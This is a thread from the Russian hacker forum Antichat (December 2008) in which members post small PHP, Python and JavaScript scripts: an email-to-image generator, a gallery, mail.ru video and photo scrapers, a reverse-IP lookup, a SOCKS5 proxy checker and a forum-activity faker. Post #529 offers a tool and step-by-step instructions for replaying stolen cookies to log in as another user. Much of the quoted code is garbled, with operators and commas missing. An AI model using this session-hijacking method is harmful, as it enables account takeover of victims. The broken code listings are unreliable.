ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #521  
Старый 07.12.2008, 23:42
Аватар для heretic1990
heretic1990
Постоянный
Регистрация: 02.07.2008
Сообщений: 472
Провел на форуме:
3728999

Репутация: 444
По умолчанию

А ваще лучше так защитить: с помощью размещения текста на изображении.

img_contacts.php
PHP код:
<?
// Строка с e-mail адресом
$email="E-mail: user@site.ru";
// Строка с ICQ
$icq="ICQ: 123456";
// Создаем изображение с помощью библиотеки GD шириной 200 и высотой 30 пикселей
$im imagecreate(20030);
// Задаем белый цвет (для фона)
$bg imagecolorallocate($im255255255);
// Задаем черный цвет для шрифта
$black imagecolorallocate($im0x000x000x00);
// Задаем размер шрифта
$size=4;
// Делаем белый цвет прозрачным
imagecolortransparent($im,$bg);
// Наносим надписи на изображение
imagestring($im,$size,0,0,$email,$black);
imagestring($im,$size,0,15,$icq,$black);
// Посылаем браузере заголовок о выводе изображения
header('Content-type: image/png');
// Выводим изображение в формате PNG
imagepng($im);
?>

Вывод инфы:

Код HTML:
<img src='img_contacts.php' border='0' alt='Информация'>
 
Ответить с цитированием

Простейшая галлерея на javascript
  #522  
Старый 11.12.2008, 00:42
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию Простейшая галлерея на javascript

С описанием к каждой фотке (картинке) в отдельно открывающемся окне (если нажать на картинку):

Создаем четыре файла:

1. zakat1.jpg
2. zakat2.jpg
3. fail1.txt (Здесь описание картинки zakat1.jpg)
4. fail2.txt (Здесь описание картинки zakat1.jpg)

и такой index.html:

Код:
Код:
<html> 
<head> 
<title>Дополнительное окно с кнопкой ОТКРЫТЬ на странице и кнопкой ЗАКРЫТЬ в окне</title> 
<SCRIPT language="JavaScript">
function openwindow(i)
{
windop=window.open("fail.txt","mywindow","menubar=1,resizable=1,width=350,height=250");
windop.document.open(); 
windop.document.write("<html><head><title>Название странички</title>"); 
windop.document.write("</head><bоdу bgcolor=#FFFFCC>"); 
windop.document.write("<center><font face= serif,Arial,Verdana size=3 color=#000000><b>Заголовок текста на страничке</b></font></center>"); 
windop.document.write("<iframe src='fail"+i+".txt'></iframe>");
windop.document.write("<center><form><input type='button' value='Закрыть' onClick='window.close()'></form></center>"); 
windop.document.write("</bоdу></html>"); 
windop.document.close();
}
</SCRIPT></head> 
<bоdу> 
<SCRIPT language="JavaScript">

for (var i = 1; i <= 2; i++)
{
document.write(i);
document.write("<FORM ACTION=\"javascript:openwindow("+i+")\"><INPUT TYPE=IMAGE SRC=\"zakat"+i+".jpg\" HEIGHT=76 WIDTH=62 ALT=\"Yes\" BORDER=0 NAME=\"Yes\" ></form> ");
}</SCRIPT>
</bоdу> 
</html>
Пихаем это всё в одну папку и запускаем index.html

(c) Pashkela
 
Ответить с цитированием

IP [reverse] Script v 0.1 by De-visible
  #523  
Старый 11.12.2008, 01:10
Аватар для De-visible
De-visible
Banned
Регистрация: 06.01.2008
Сообщений: 904
Провел на форуме:
4037638

Репутация: 1821


Отправить сообщение для De-visible с помощью ICQ
По умолчанию IP [reverse] Script v 0.1 by De-visible

IP [reverse] Script v 0.1

[Архив]
В архиве два файла:

Код:
1)IpTool.py - сам скрипт
2)result.txt - сюда записываются результаты
[Описание]

Скрипт определяет сколько сайтов расположено на одном сервере.
Результаты выводит на экран, и записывает(каждый раз дописывает) в файл [result.txt] результат.
Написан на питоне, юзаем))



[Скрипт]
PHP код:
# -*- coding: cp1251 -*-
#antichat.ru
#author De-visible[ICQ#:22-3333-575]

import urllib,re

global site
global ipURL

def AboutScript
():
    print 
"""
                ###############About################
                #                                  #
                #     [Reverse IP]Script v 0.1     #
                #                                  #
                #___c0ded by De-visible____________#      
                #___GreetZ to antichat.ru__________#
                #___ICQ: 22-3333-575_______________#
                #___special for antichat's users___#
                #___(c)2008________________________#
                ####################################
"""
    
def SaveToFile(writebuf):
    
f=open("result.txt",'a')
    
f.write("\n\n")
    
f.write("site: "+site+" ["+ipURL+"?ip="+site+"]: \n")
    
f.write("----------------------\n")
    for 
i in writebuf:
            
f.write(i+"\n")
    
f.write("\n----------------------")
    
f.close

def Trace
(text_):
    print 
"\n\n"
    
print "site: "+site+" ["+ipURL+"?ip="+site+"]: "
    
print "----------------------\n"
    
for i in text_:
        print 
"  "+i
    
print "----------------------\n"
    
print "\n\n  ::: process completed ::: "
    
def GetIP():    
    
data={"ip"site}
    
send_data urllib.urlencode(data)
    
ipLog=urllib.urlopen(ipURL+"?"+send_data)
    
text_=ipLog.read()
    
txt_=re.findall(r"(www.*?)<\/li>",text_)
    
Trace(txt_)
    
SaveToFile(txt_)
def Readln():
    while 
1:
        
pass

AboutScript
()

site="yandex.ru"#Сюда вписываем сайт
ipURL="http://2ip.ru/server.php"#Это не трогаем:)
GetIP()
#Readln()#Что бы консоль не исчезала сразу.
#---------------- 
[Download]


http://rapidshare.com/files/17218298...erse_.rar.html
Вложения
Тип файла: rar IP[reverse].rar (841 байт, 7 просмотров)

Последний раз редактировалось De-visible; 18.12.2008 в 01:39..
 
Ответить с цитированием

  #524  
Старый 11.12.2008, 03:34
Аватар для Solker
Solker
Участник форума
Регистрация: 04.05.2006
Сообщений: 161
Провел на форуме:
389768

Репутация: 158
По умолчанию

Поднятие времени проведенного за чтением форума, ака увлечение значения «Провел на форуме».


Files:
- ach_cookie.txt Файл в котором хранятся наши Куки от форума Antichat.
Как получить?
Заходим на форум (http://forum.antichat.ru/), и в адресной строке браузера пишем:
javascript:document.write(document.cookie)
Содержмивое копируем в ach_cookie.txt. Сохраняем, забываем.

- ach_log.txt Лог скрипта, ака файл благодаря которому мы можем убедиться, что скрипт весит в фоновом режиме и даже работает. В лог записывается время последней удачной отправки GET на форум.

- ach_run.php и собственно сам скрипт, который выполняет отправку GET запроса с нашими кукисами, каждые n минут. Запускаем - нас кидает на гугл. А скрипт начинает работу. Или сами закрываем страницу.
И логами время от времени проверяем работоспособность.

PHP код:
<?php

ignore_user_abort
(true);
set_time_limit(false);

function 
doSomthing()
{
  
$cookie file_get_contents("ach_cookie.txt");

  
$sock fsockopen("forum.antichat.ru"80$errno$errstr30);
  if(!
$sock) return false;
  else {
    
$headers "GET /index.php HTTP/1.1\r\n";
    
$headers .= "Host: forum.antichat.ru\r\n";
    
$headers .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4\r\n";
    
$headers .= "Cookie: $cookie\r\n";
    
$headers .= "Connection: Keep-Alive\r\n\r\n";
    
  
fwrite($sock$headers); 
  
  if(
strpos(fgets($sock20),'200 OK')) return true;
  else return 
false;  
  
  
fclose($sock);
  }
}

if(
ob_get_level() == 0
  
ob_start();
    
header("Location: http://www.google.ru/");
ob_flush();
flush();

while(
true)

  
ob_flush();
  
flush();
    
  if(
doSomthing()) {
    
file_put_contents("ach_log.txt",date("j M H:i"));  
    
sleep(60*5);    
  }
  else break;
  
}
ob_end_flush();
?>
 
Ответить с цитированием

  #525  
Старый 11.12.2008, 16:06
Аватар для .:EnoT:.
.:EnoT:.
Постоянный
Регистрация: 29.05.2007
Сообщений: 852
Провел на форуме:
4832771

Репутация: 1916


По умолчанию

Нашёл на компе скрипт, когда-то писал...щас подправил немного, хз зачем выложил, пусть валяется, можт пригодится кому ))
PHP код:
<?php
/*
    Скрипт для скачивания видео с Video.mail.ru
    by EnoT
*/

$link = !empty($_POST['link']) ? $_POST['link'] : '';

if(
$link){

    
$link str_ireplace('www.'''$link);
    
$link stripos($link'http://') === false 'http://'.$link $link;

    if(
preg_match('#^http://video\.mail\.ru/(mail|bk|list|inbox)/([a-z0-9-_\.]{1,16})/([0-9]+)/([0-9]+)\.html.*$#i'$link$out)){

        
$download 'http://video.mail.ru/'.$out[1].'/'.$out[2].'/'.$out[3].'/v-'.$out[4].'.flv';
        
header('HTTP/1.1 200 Ok');
        
header('Content-Type: video/x-flv');
        
header('Content-Disposition: attachment; filename="'.$out[4].'";');
        die(
readfile($download));

    }else{

        echo 
'<br/>Неверный формат ссылки<br/>';
    }

}
?>
<html></body><center><h3>Скачать видео с mail.ru </h3><br/>
введите ссылку:
<form action="" method="post">
<input name="link" type="text" size="70" value="http://" />
<input type="submit" value="Скачать" />
</form>
</center></body></html>
 
Ответить с цитированием

  #526  
Старый 11.12.2008, 16:18
Аватар для Tigger
Tigger
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281

Репутация: 1177


Отправить сообщение для Tigger с помощью ICQ
По умолчанию

Enot, полезный скрипт)) А для закаччки фоток c mail.ru есть скриптик))?
 
Ответить с цитированием

  #527  
Старый 12.12.2008, 02:51
Аватар для presidentua
presidentua
Постоянный
Регистрация: 04.11.2007
Сообщений: 331
Провел на форуме:
1724067

Репутация: 806
Отправить сообщение для presidentua с помощью ICQ
По умолчанию

скрипт на Питоне для многопоточного чека Соксов5

-------------------
Run as:
roastest.py input.file output.file count_theard site_test timeout
Example:
roastest.py input.txt output.txt 5 ya.ru 10
- эт в линуксе.

Для работы нужна библиотека pycurl
-----------------

PHP код:
#!/usr/bin/python

try:
  
import sys
except
:
  print 
'error load library - sys'
try:
  
import thread
except
:
  print 
'error load library - thread'
try:
  
import StringIO
except
:
  print 
'error load library - StringIO'
try:
  
import pycurl
except
:
  print 
'error load library - pycurl'

def test_socks():
  global list, 
focount_theadcount_good_proxy
  
while ( len(list)>):
    
proxy = list.pop()
    
wf StringIO.StringIO()
    
pycurl.Curl()
    
c.setopt(pycurl.USERAGENT'Opera/9.50 (X11; Linux i686; U; ru)')
    
c.setopt(pycurl.FOLLOWLOCATION0)
    
c.setopt(pycurl.CONNECTTIMEOUTsys.argv[5])
    
c.setopt(pycurl.URLsys.argv[4])
    
c.setopt(pycurl.WRITEFUNCTIONwf.write)
    
c.setopt(pycurl.PROXYTYPE,pycurl.PROXYTYPE_SOCKS5)
    
c.setopt(pycurl.HTTPPROXYTUNNEL1)
    
c.setopt(pycurl.PROXYproxy)
    try:
      
c.perform()
    
except:
      
pass
    c
.close()
    
rez wf.getvalue()
    if (
len(rez)>100):
      
fo.write(proxy)
      
count_good_proxy += 1
  count_thead 
-= 1

print '''RoA SocksTest for Nerezus by PresidentUA
---------------'''
if (len(sys.argv)!=6):
  print 
'''Run as:
roastest.py input.file output.file count_theard site_test timeout
Example:
roastest.py input.txt output.txt 5 ya.ru 10
---------------'''
  
sys.exit()

try:
  
fi open(sys.argv[1],'r')
  list = 
fi.readlines()
except:
  print 
'|-| error input file '+sys.argv[1]
  
sys.exit()
print 
'|+| input file '+sys.argv[1]+' open'
  
try:
  
fo open(sys.argv[2],'w')
except:
  print 
'|-| error output file '+sys.argv[2]
  
sys.exit()
print 
'|+| output file '+sys.argv[2]+' open'


sys.argv[3] = int(sys.argv[3])
if ( 
sys.argv[3] < 100):
  print 
'|+| create '+str(sys.argv[3])+' threads'
else:
  print 
'|-| error create threads'
  
sys.exit()

sys.argv[5] = int(sys.argv[5])
if ((
sys.argv[5]>=1) and (sys.argv[5]<=300)):
  print 
'|+| good set timeout'
else:
  print 
'|-| error set timeout'
  
sys.exit()

try:
  
temp StringIO.StringIO()
  
curl pycurl.Curl()
  
curl.setopt(pycurl.USERAGENT'Opera/9.50 (X11; Linux i686; U; ru)')
  
curl.setopt(pycurl.FOLLOWLOCATION0)
  
curl.setopt(pycurl.CONNECTTIMEOUTsys.argv[5])
  
curl.setopt(pycurl.URLsys.argv[4])
  
curl.setopt(pycurl.WRITEFUNCTIONtemp.write)
  
curl.perform()
  
curl.close()
  
rez temp.getvalue()
  if (
len(rez)>100):
    print 
'|+| good set site url'
  
else:
    print 
'|-| error set site url'
    
sys.exit()
except:
  print 
'|-| error set site url'
  
sys.exit()

count_good_proxy 0

count_thead 
0

for i in xrange(0,sys.argv[3]):
  
count_thead += 1
  thread
.start_new_thread(test_socks,())

while (
count_thead>0):
  
pass

fi
.close
fo
.close

print '---------------'
print '|+| '+str(count_good_proxy)+' good socks. The End  :)'''

sys.exit() 
 
Ответить с цитированием

  #528  
Старый 12.12.2008, 02:53
Аватар для попугай
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557

Репутация: 606


По умолчанию

Скрипт-грабер картинок с папки у юзверя на фотомайлру. Коряво конечно - прошу не пинать(

PHP код:
<?php set_time_limit(0); ?>
<html>
<title>Качалка картинок с Foto.mail.ru и не только</title>
<style>
body{
background: gold;
}
.tab{
border: 2px black double;
background: silver;
width: 600px;
position: absolute;
top: 30%;
left: 30%;
}
input{
border: 1px red solid;
}
</style>
<body>
<div class="tab">
<form action="" method="post">
<b>Введи URL папки с картинками.</b><br>
<i> Например: <font color="red">http://foto.mail.ru/mail/truhacheva/1/</font></i>&nbsp&nbsp&nbsp
<input type="text" name="url" size="40"><br>
<b>Введи примерный номер последней картинки.</b><br>
<i> Например: <font color="red">ссылка http://foto.mail.ru/mail/truhacheva/1/450.html - значит вводишь 450 </font></i>&nbsp&nbsp&nbsp
<input type="text" name="end" size="5" maxlength="5"><br>
<b>Введи номер первой картинки</b><br>
<input type="text" name="start" size="5" maxlength="5"><br>
<b>Расширение картинок</b><br>
<input type="text" name="ext" size="5" maxlength="5" value="jpg"><br>
<b>префикс картинок на сервере</b><br>
<i>Например: <font color="red">blabla1.jpg, blabla2.jpg и т.д</font>&nbsp&nbsp&nbsp
<input type="text" name="servpref" value="i-"><br><br><br>
<b>Как называть картинки? Префикс.</b><br>
<i>Например: <font color="red">blabla1.jpg, blabla2.jpg и т.д</font>&nbsp&nbsp&nbsp
<input type="text" name="prefix"><br><br><br>
<b>В какую директорию складировать?</b><br>
<input type="text" name="dir"><br><br><br>
<input type="submit" name="submit">
</form>
</div>
</body>
</html>
<?php
/*If(!$_POST['url'] or $_POST['prefix'] or $_POST['end']){
exit;
}*/
If($_POST['submit']){
$servpref=$_POST['servpref'];
$dir $_POST['dir'];
if(!
is_dir($dir)){
@
mkdir($dir) or die("Проверьте права на запись в папку $dir !! ");
}

$url=str_replace("foto.mail.ru""content.foto.mail.ru"$_POST['url']);
for(
$i=$_POST['start']; $i<$_POST['end']; $i++){
$fp=@fopen($url.$servpref.$i."." $_POST['ext'], "b");
If(!
$fp){
continue;
}
$kar=fopen($dir "/{$_POST['prefix']}".$i."." $_POST['ext'], "a+");
while(!
feof($fp)){
fwrite($karfgets($fp));
}
}
Echo 
"Закончено";
}
?>
 
Ответить с цитированием

  #529  
Старый 12.12.2008, 03:03
Аватар для попугай
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557

Репутация: 606


По умолчанию

Угнали у кого то куки? Лень гемороится и вручную вставлять их в браузер?
Этот скрипт поможет) Нужна опера.
PHP код:
<?php

if(isset($_POST['go']) and !empty($_POST['cooks'])){

$cooki explode("; "$_POST['cooks']);
$out "<script>\r\n";
foreach(
$cooki as $cook){
$out .= "document.cookie = \"" $cook "\";\r\n";
}
$out .= "setTimeout(\"document.location.reload(true)\", 1000);\r\n</script>";
header("Content-Type: text/plain");
echo 
$out;
}else{
echo 
'<html>
<body>
<div style="position:absolute; top:20%; left:20%">
<form action="" method="post">
<h1>Сюда захерачь строку с куками</h1>
<textarea cols="100" rows="20" name="cooks"></textarea><br>
<input type="submit" name="go" value="Поехали!!!">
</form>
</body>
</html>'
;
}

?>

0. Запускаем скрипт, вставляем в текстовую область строку с куками и жмем кнопку, получаем код.
1.полученный код копируем в буфер обмена,
2.открываем в опере сайт, от которого куки угнали,
3.Жмем правой кнопкой мыши, выбираем "настройки для сайта" -> вкладка "Cookie" -> удаляем всё.
4. жмем view source или проcмотр исходного кода . Удаляем весь текст, и вставляем туда содержимое буфера обмена, жмём "применить" /
5. Вуаля!! Мы залогинены под украденными куками...

PS если залогинится не удалось -значит куки устарели или яваскрипт отключен.
 
Ответить с цитированием

  #530  
Старый 12.12.2008, 03:05
Аватар для GreenBear
GreenBear
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
Провел на форуме:
19975136

Репутация: 4536


Отправить сообщение для GreenBear с помощью ICQ
По умолчанию

давно ли опера пхп выполняет?
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ